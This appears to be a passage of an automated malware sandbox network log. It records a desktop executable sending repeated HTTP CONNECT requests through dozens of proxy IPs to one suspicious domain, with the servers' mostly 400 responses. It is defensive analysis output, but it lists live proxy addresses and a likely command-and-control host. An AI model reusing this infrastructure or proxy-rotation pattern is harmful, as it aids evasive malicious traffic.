Mar 11, 2024 15:21:07.819084883 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1206	192.168.2.9	53366	173.212.209.49	31673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.664889097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.833126068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.825640917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.825707912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1207	192.168.2.9	54060	104.16.213.202	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.665246010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.820041895 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1208	192.168.2.9	53849	200.80.227.234	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.675508976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1209	192.168.2.9	52238	142.93.2.222	8000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.693871975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.920428038 CET	19	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1210	192.168.2.9	53911	103.253.127.202	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.712615967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.548546076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1211	192.168.2.9	53947	156.67.217.159	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.715272903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.048811913 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1212	192.168.2.9	53903	202.162.219.10	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.717850924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1213	192.168.2.9	53953	116.203.28.43	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.728849888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.052773952 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:11 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1214	192.168.2.9	54091	172.67.231.3	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.728852987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.883270025 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1215	192.168.2.9	54096	162.159.242.159	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.741712093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.902740955 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1216	192.168.2.9	53869	94.141.81.176	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.741813898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.548608065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.903570890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.388048887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.200839043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.060334921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:26.903690100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:36.500915051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:55.590616941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:56.174666882 CET	84	IN	HTTP/1.0 200 Connection established Proxy-agent: Kerio Control/9.2.6 build 2720

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1217	192.168.2.9	53902	123.30.154.171	7777	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.741815090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.127371073 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 (Ubuntu) Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1218	192.168.2.9	53959	163.172.132.238	16379	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.742856979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1219	192.168.2.9	53867	34.93.157.87	21802	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.743045092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.548594952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.903600931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.388097048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1220	192.168.2.9	54115	188.114.99.37	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.743060112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.897694111 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1221	192.168.2.9	53232	118.173.230.19	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.743136883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1222	192.168.2.9	54080	52.13.248.29	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.743632078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.936152935 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:07 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1223	192.168.2.9	53986	3.10.93.50	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.743632078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.036067009 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:07 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1224	192.168.2.9	53287	162.214.227.68	43435	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.744025946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.888056040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.888006926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1225	192.168.2.9	53977	95.164.89.123	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.744555950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1226	192.168.2.9	54118	162.214.154.138	32210	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.744558096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1227	192.168.2.9	53931	61.133.66.69	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.745461941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
